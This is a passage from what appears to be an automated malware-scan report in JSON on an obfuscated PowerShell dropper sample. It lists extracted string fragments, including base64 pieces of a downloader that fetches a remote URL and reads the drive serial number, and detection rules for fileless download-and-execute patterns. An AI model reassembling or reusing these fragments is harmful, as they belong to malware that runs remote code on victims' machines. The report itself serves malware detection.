"183ZBoyQpeKi329ZBoyQpeKi592ZBoyQpeKi353ZBoyQpeKi409ZBoyQpeKi26ZBoyQpeKi571ZBoyQpeKi340ZBoyQpeKi469ZBoyQpeKi417" ], [ 3271, "ZBoyQpeKi" ], [ 3271, "ZBoyQpeKi" ], [ 3337, "k" ], [ 3337, "k" ], [ 3341, "e64" ], [ 3341, "e64" ], [ 3440, "In" ], [ 3440, "In" ], [ 3445, "e" ], [ 3445, "e" ], [ 3482, "QifMvkmcqrSHatmPTncqzkMslcqwRshPVFcqpSibQIAwhcqNoncqfdUqgSVcqHOIgYcqEqtiRUcqXzcvuAVyL" ], [ 3482, "QifMvkmcqrSHatmPTncqzkMslcqwRshPVFcqpSibQIAwhcqNoncqfdUqgSVcqHOIgYcqEqtiRUcqXzcvuAVyL" ], [ 3577, "cq" ], [ 3577, "cq" ], [ 3624, "IKRzNpbAmsylgbGqpIueQHlDSwAmsylgbGqpIuevAAmsylgbGqpIueFEAmsylgbGqpIueLeVqyfAmsylgbGqpIueuLRaAJElOAmsylgbGqpIueeAmsylgbGqpIueMGxC" ], [ 3624, "IKRzNpbAmsylgbGqpIueQHlDSwAmsylgbGqpIuevAAmsylgbGqpIueFEAmsylgbGqpIueLeVqyfAmsylgbGqpIueuLRaAJElOAmsylgbGqpIueeAmsylgbGqpIueMGxC" ], [ 3806, "AmsylgbGqpIue" ], [ 3806, "AmsylgbGqpIue" ], [ 3831, "In" ], [ 3831, "In" ], [ 3848, "snLVHjrWBJDlwazTfqnLVHjrWBJDGjRiSWUtnLVHjrWBJDdmJHtanLVHjrWBJDquynLVHjrWBJDrwJnLVHjrWBJDgFnLVHjrWBJDunflkGcnLVHjrWBJDaOZhlEnLVHj" ], [ 3848, "snLVHjrWBJDlwazTfqnLVHjrWBJDGjRiSWUtnLVHjrWBJDdmJHtanLVHjrWBJDquynLVHjrWBJDrwJnLVHjrWBJDgFnLVHjrWBJDunflkGcnLVHjrWBJDaOZhlEnLVHj" ], [ 3999, "nLVHjrWBJD" ], [ 3999, "nLVHjrWBJD" ], [ 4045, "2UoK" ], [ 4045, "2UoK" ], [ 4064, "jYrRnOFvlQNLyExJDdovcVyPsmOFvlQNLyExJDdoybJVqXYuFvlQNLyExJDdooLZFvlQNLyExJDdolseFvlQNLyExJDdoUjwpNmefXFvlQNLyExJDdokiDvFvlQNLyEx" ], [ 4064, "jYrRnOFvlQNLyExJDdovcVyPsmOFvlQNLyExJDdoybJVqXYuFvlQNLyExJDdooLZFvlQNLyExJDdolseFvlQNLyExJDdoUjwpNmefXFvlQNLyExJDdokiDvFvlQNLyEx" ], [ 4266, "FvlQNLyExJDdo" ], [ 4266, "FvlQNLyExJDdo" ], [ 4290, "753KFpuRJtwZvPz426KFpuRJtwZvPz397KFpuRJtwZvPz396KFpuRJtwZvPz694KFpuRJtwZvPz764KFpuRJtwZvPz112KFpuRJtwZvPz7KFpuRJtwZvPz587KFpuRJt" ], [ 4290, "753KFpuRJtwZvPz426KFpuRJtwZvPz397KFpuRJtwZvPz396KFpuRJtwZvPz694KFpuRJtwZvPz764KFpuRJtwZvPz112KFpuRJtwZvPz7KFpuRJtwZvPz587KFpuRJt" ], [ 4436, "KFpuRJtwZvPz" ], [ 4436, "KFpuRJtwZvPz" ], [ 4483, "686oLsA638oLsA402oLsA75oLsA100oLsA646oLsA811oLsA272oLsA337oLsA158" ], [ 4483, "686oLsA638oLsA402oLsA75oLsA100oLsA646oLsA811oLsA272oLsA337oLsA158" ], [ 4558, "oLsA" ], [ 4558, "oLsA" ], [ 4571, "il" ], [ 4571, "il" ], [ 4597, "em" ], [ 4597, "em" ], [ 4614, "BKqxZTeByqGIOMzpByqGIOyePjwWOFdByqGIOobzBRZByqGIOfkIzwTRByqGIOVTGmJByqGIOesHwQNByqGIOPOMnhwByqGIOIJNbByqGIOVa" ], [ 4614, "BKqxZTeByqGIOMzpByqGIOyePjwWOFdByqGIOobzBRZByqGIOfkIzwTRByqGIOVTGmJByqGIOesHwQNByqGIOPOMnhwByqGIOIJNbByqGIOVa" ], [ 4733, "ByqGIO" ], [ 4733, "ByqGIO" ], [ 4760, "c3BvcvcrTiKkpOjGsvUuvcrTiKkuRlzEGfjvcrTiKkGvbewvcrTiKkZpTVKUODvcrTiKkDrVvcrTiKkwlRINmhvcrTiKkKzvcrTiKkHxwZJvcrTiKkwxCKS" ], [ 4760, "c3BvcvcrTiKkpOjGsvUuvcrTiKkuRlzEGfjvcrTiKkGvbewvcrTiKkZpTVKUODvcrTiKkDrVvcrTiKkwlRINmhvcrTiKkKzvcrTiKkHxwZJvcrTiKkwxCKS" ], [ 4889, "vcrTiKk" ], [ 4889, "vcrTiKk" ], [ 4917, "CuhNzYaDISzbTCaKWjSzbTCaymxwFPJhNSzbTCaXvKMsZPFbSzbTCabiDsQntfYSzbTCaWsaSBmKHvSzbTCaKQSzbTCaXSzYGTZoiSzbTCaYutOwNmvPSzbTCal" ], [ 4917, "CuhNzYaDISzbTCaKWjSzbTCaymxwFPJhNSzbTCaXvKMsZPFbSzbTCabiDsQntfYSzbTCaWsaSBmKHvSzbTCaKQSzbTCaXSzYGTZoiSzbTCaYutOwNmvPSzbTCal" ], [ 5050, "SzbTCa" ], [ 5050, "SzbTCa" ], [ 5071, "Set" ], [ 5071, "Set" ], [ 5089, "TuFlpqSHtbzGTYtSuMnlpqSHtbzGTQdAFqlpqSHtbzGTTalpqSHtbzGTcVUYeJQWlpqSHtbzGTystem.TextlpqSHtbzGTvBlWlpqSHtbzGTqdFZESclpqSHtbzGTPEI" ], [ 5089, "TuFlpqSHtbzGTYtSuMnlpqSHtbzGTQdAFqlpqSHtbzGTTalpqSHtbzGTcVUYeJQWlpqSHtbzGTystem.TextlpqSHtbzGTvBlWlpqSHtbzGTqdFZESclpqSHtbzGTPEI" ], [ 5244, "lpqSHtbzGT" ], [ 5244, "lpqSHtbzGT" ], [ 5266, "zLkRvd25sb2FkU3RyaW5nKCR1cmwpDQogICAgfQ0KICAgIGNhdGNoIHsNCiAgICAgICAgU3R" ], [ 5266, "zLkRvd25sb2FkU3RyaW5nKCR1cmwpDQogICAgfQ0KICAgIGNhdGNoIHsNCiAgICAgICAgU3R" ], [ 5388, "VzdWx0DQogICAgU3RhcnQtU2xlZXAgLXMgNQ0KfQ0KJG11dG" ], [ 5388, "VzdWx0DQogICAgU3RhcnQtU2xlZXAgLXMgNQ0KfQ0KJG11dG" ], [ 5469, "911KdzXweChUoVac922KdzXweChUoVac594KdzXweChUoVac117KdzXweChUoVac684KdzXweChUoVac422KdzXweChUoVac777KdzXweChUoVac191KdzXweChUoVac" ], [ 5469, "911KdzXweChUoVac922KdzXweChUoVac594KdzXweChUoVac117KdzXweChUoVac684KdzXweChUoVac422KdzXweChUoVac777KdzXweChUoVac191KdzXweChUoVac" ], [ 5625, "KdzXweChUoVac" ], [ 5625, "KdzXweChUoVac" ], [ 5650, "i" ], [ 5650, "i" ], [ 5657, "k" ], [ 5657, "k" ], [ 5685, "31kXczPQETKxdbw512kXczPQETKxdbw993kXczPQETKxdbw661kXczPQETKxdbw502kXczPQETKxdbw93kXczPQETKxdbw199kXczPQETKxdbw664kXczPQETKxdbw15" ], [ 5685, "31kXczPQETKxdbw512kXczPQETKxdbw993kXczPQETKxdbw661kXczPQETKxdbw502kXczPQETKxdbw93kXczPQETKxdbw199kXczPQETKxdbw664kXczPQETKxdbw15" ], [ 5839, "kXczPQETKxdbw" ], [ 5839, "kXczPQETKxdbw" ], [ 5907, ".A" ], [ 5907, ".A" ], [ 5936, "661CTYQiB177CTYQiB40CTYQiB447CTYQiB746CTYQiB77CTYQiB140CTYQiB421CTYQiB508CTYQiB617" ], [ 5936, "661CTYQiB177CTYQiB40CTYQiB447CTYQiB746CTYQiB77CTYQiB140CTYQiB421CTYQiB508CTYQiB617" ], [ 6028, "CTYQiB" ], [ 6028, "CTYQiB" ], [ 6043, "System.Man" ], [ 6043, "System.Man" ], [ 6068, "JnzjfgMudIikqDWUXNpyzjfgMudIikqDWDItLTQBzjfgMudIikqDWCpkWLZzjfgMudIikqDWjhveQzjfgMudIikqDWczjfgMudIikqDWyozjfgMudIikqDWXcgsACkfz" ], [ 6068, "JnzjfgMudIikqDWUXNpyzjfgMudIikqDWDItLTQBzjfgMudIikqDWCpkWLZzjfgMudIikqDWjhveQzjfgMudIikqDWczjfgMudIikqDWyozjfgMudIikqDWXcgsACkfz" ], [ 6240, "zjfgMudIikqDW" ], [ 6240, "zjfgMudIikqDW" ], [ 6282, "St" ], [ 6282, "St" ], [ 6290, "r" ], [ 6290, "r" ], [ 6294, "r" ], [ 6294, "r" ], [ 6343, "53iZSLJQNuy290iZSLJQNuy971iZSLJQNuy701iZSLJQNuy307iZSLJQNuy828iZSLJQNuy34iZSLJQNuy664iZSLJQNuy120iZSLJQNuy229" ], [ 6343, "53iZSLJQNuy290iZSLJQNuy971iZSLJQNuy701iZSLJQNuy307iZSLJQNuy828iZSLJQNuy34iZSLJQNuy664iZSLJQNuy120iZSLJQNuy229" ], [ 6462, "iZSLJQNuy" ], [ 6462, "iZSLJQNuy" ], [ 6525, "24MQWUdJmtic466MQWUdJmtic410MQWUdJmtic428MQWUdJmtic814MQWUdJmtic339MQWUdJmtic9MQWUdJmtic943MQWUdJmtic743MQWUdJmtic960" ], [ 6525, "24MQWUdJmtic466MQWUdJmtic410MQWUdJmtic428MQWUdJmtic814MQWUdJmtic339MQWUdJmtic9MQWUdJmtic943MQWUdJmtic743MQWUdJmtic960" ], [ 6652, "MQWUdJmtic" ], [ 6652, "MQWUdJmtic" ], [ 6671, "JGZzbyA9IE5ldy1PYmplY3QgLUNvbSAiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiDQokU2VyaWFsTnVtYmVyID0gJGZzby5HZXREcml2ZSgiYzpcIikuU2VyaWFs" ], [ 6671, "JGZzbyA9IE5ldy1PYmplY3QgLUNvbSAiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiDQokU2VyaWFsTnVtYmVyID0gJGZzby5HZXREcml2ZSgiYzpcIikuU2VyaWFs" ], [ 6869, "ok" ], [ 6869, "ok" ], [ 6895, "ke" ], [ 6895, "ke" ], [ 6920, "I" ], [ 6920, "I" ], [ 6948, "949yvY146yvY197yvY534yvY726yvY806yvY8yvY559yvY583yvY903" ], [ 6948, "949yvY146yvY197yvY534yvY726yvY806yvY8yvY559yvY583yvY903" ], [ 7013, "yvY" ], [ 7013, "yvY" ], [ 7066, "c" ], [ 7066, "c" ], [ 7132, "34VvhaDOYI544VvhaDOYI764VvhaDOYI518VvhaDOYI73VvhaDOYI503VvhaDOYI818VvhaDOYI265VvhaDOYI844VvhaDOYI883" ], [ 7132, "34VvhaDOYI544VvhaDOYI764VvhaDOYI518VvhaDOYI73VvhaDOYI503VvhaDOYI818VvhaDOYI265VvhaDOYI844VvhaDOYI883" ], [ 7242, "VvhaDOYI" ], [ 7242, "VvhaDOYI" ], [ 7293, "672dLyvDSMJkbcanz827dLyvDSMJkbcanz296dLyvDSMJkbcanz61dLyvDSMJkbcanz976dLyvDSMJkbcanz79dLyvDSMJkbcanz485dLyvDSMJkbcanz77dLyvDSMJk" ], [ 7293, "672dLyvDSMJkbcanz827dLyvDSMJkbcanz296dLyvDSMJkbcanz61dLyvDSMJkbcanz976dLyvDSMJkbcanz79dLyvDSMJkbcanz485dLyvDSMJkbcanz77dLyvDSMJk" ], [ 7455, "dLyvDSMJkbcanz" ], [ 7455, "dLyvDSMJkbcanz" ], [ 7478, "nJlZSkgeyBFeGl0IH0NCiRpcCA9ICdodHRwOi8vMT" ], [ 7478, "nJlZSkgeyBFeGl0IH0NCiRpcCA9ICdodHRwOi8vMT" ], [ 7522, "i" ], [ 7522, "i" ], [ 7592, "o" ], [ 7592, "o" ] ], "sz": 16125, "ts": [ { "c": 0.8399999737739563, "d": "Hidden directory path literal", "e": [ ".A" ], "i": "micro-behaviors/fs/path/location::hidden-dir-literal", "l": 1 }, { "a": "T1027", "c": 0.8600000143051147, "d": "Multiple embedded base64 literals", "e": [ "KICAgICAgICBjb250aW51ZQ0KICAgIH0NCiAgICBJbnZva2Ut", "rboQZAqNtroQZAqooQZAqxpGVILTCoQZAqcutNHoQZAqCxNZlvDoQZAqcCEhvMlWaoQZAqfSZirsaoQZAqPLdoIoQZAqmstJiV", "407mgAHrNI176mgAHrNI88mgAHrNI833mgAHrNI379mgAHrNI255mgAHrNI492mgAHrNI913mgAHrNI2mgAHrNI2", "nvVASIMDlncuSTzmvVASIMDlncxRqKJvVASIMDlncTuaynvVASIMDlncImXxGOwvVASIMDlncXlvVASIMDlnctfjlnwmdKvVASIMDlnckLWfvVASIMDlncxFsrlvVASI", "133ARksx899ARksx409ARksx525ARksx887ARksx529ARksx866ARksx568ARksx29ARksx970", "KYdUaJBRPtDJqUaJBRPtDorQUaJBRPtDFxMUaJBRPtDsaVSUaJBRPtDtCqmTReIgUaJBRPtDsnOQcUaJBRPtDMqcWrbUaJBRPtDnvUaJBRPtDPcYQG", "DNPxTxnReyvTdpTBxnReyvTdCGmHDizcxnReyvTdxRNACyTbLxnReyvTdvZrlekxnReyvTdriomCxnReyvTdwexnReyvTdEAtSwLHlxnReyvTdaixnReyvTddyCvkBMh", "sQrPynTutQQrPynlXvQrPynOWUYoBEazQrPynAxlyqLKDgQrPynvukQrPynnOEwXMQrPyncvZdQrPynPmZiMlQrPynnJICGaVDN" ], "i": "objectives/command-and-control/dropper/staging/encrypted::multiple-base64-literals", "l": 1, "m": "C0025" }, { "a": "T1027", "c": 0.6000000238418579, "d": "No comments in PowerShell script", "e": [ "comments.total = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::ps-no-comments", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 3914.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1059.001", "c": 0.75, "d": "Invoke-Expression cmdlet", "e": [ "Invoke-Expression" ], "i": "objectives/execution/interpreter/eval/invoke::iex", "l": 3, "m": "E1059" }, { "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "Invoke-Expression" ], "i": "objectives/command-and-control/dropper/execution/fileless::curl-zoom-user-agent-piped-iex--rx-1", "l": 1 }, { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 11.00" ], "i": "metadata/file/text/metrics::file-under-12-lines", "l": 1 }, { "c": 0.949999988079071, "d": "Regex component marker", "e": [ "Invoke-Expression" ], "i": "objectives/command-and-control/dropper/execution/fileless::hidden-powershell-getcontent-iex--rx-21", "l": 1 }, { "c": 0.9700000286102295, "d": "Regex component marker", "e": [ "Invoke-Expression" ], "i": "objectives/command-and-control/dropper/execution/fileless::iwr-zoom-user-agent-content-iex--rx-7", "l": 1 }, { "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "Invoke-Expression" ], "i": "objectives/command-and-control/dropper/execution/fileless::curl-custom-ua-piped-powershell--rx-27", "l": 1 }, { "c": 0.699999988079071, "d": "Single character string concatenation pattern", "e": [ "'+'f'+" ], "i": "objectives/anti-static/obfuscation/string/reconstruct::single-char-concat-pattern", "l": 3 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Last line is over 1000 chars", "e": [ "text.last_line_length = 3506.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000", "l": 1, "m": "B0032" }, { "a": "T1027", "c": 0.800000011920929, "d": "High overall text entropy (encoded", "e": [ "text.char_entropy = 6.12" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.6000000238418579, "d": "No comments in code", "e": [ "comments.total = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::no-comments", "l": 1, "m": "B0032" }, { "a": "T1027", "c": 0.699999988079071, "d": "Very low whitespace ratio (minified/compressed)", "e": [ "text.whitespace_ratio = 0.01" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.8500000238418579, "d": "Multiple long lines (\u003e1000 chars)", "e": [ "text.lines_over_1000 = 5.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.699999988079071, "d": "Low identifier reuse ratio", "e": [ "identifiers.reuse_ratio = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::low-identifier-reuse", "l": 2, "m": "B0032" }, { "c": 0.8500000238418579, "d": "PowerShell or VBScript line bloat", "e": [ "text.avg_line_length = 1464.82" ], "i": "objectives/anti-static/obfuscation/string/anomaly::script-host-line-bloat", "l": 4 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Suspicious long PowerShell line", "e": [ "text.max_line_length = 3914.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::ps-suspicious-single-line", "l": 4, "m": "B0032" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Minified/compressed code (multiple indicators)", "e": [ "text.whitespace_ratio = 0.01", "comments.total = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::minified-code", "l": 2, "m": "B0032" } ], "sha": "5bba8e7b6f31b3bdd2db9562b327e5e464867aeb436c268957ecee9690db181d", "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/5bba8e7b6f31b3bdd2db9562b327e5e464867aeb436c268957ecee9690db181d.ps1", "type": "powershell" } ], "tv": "529a0" } }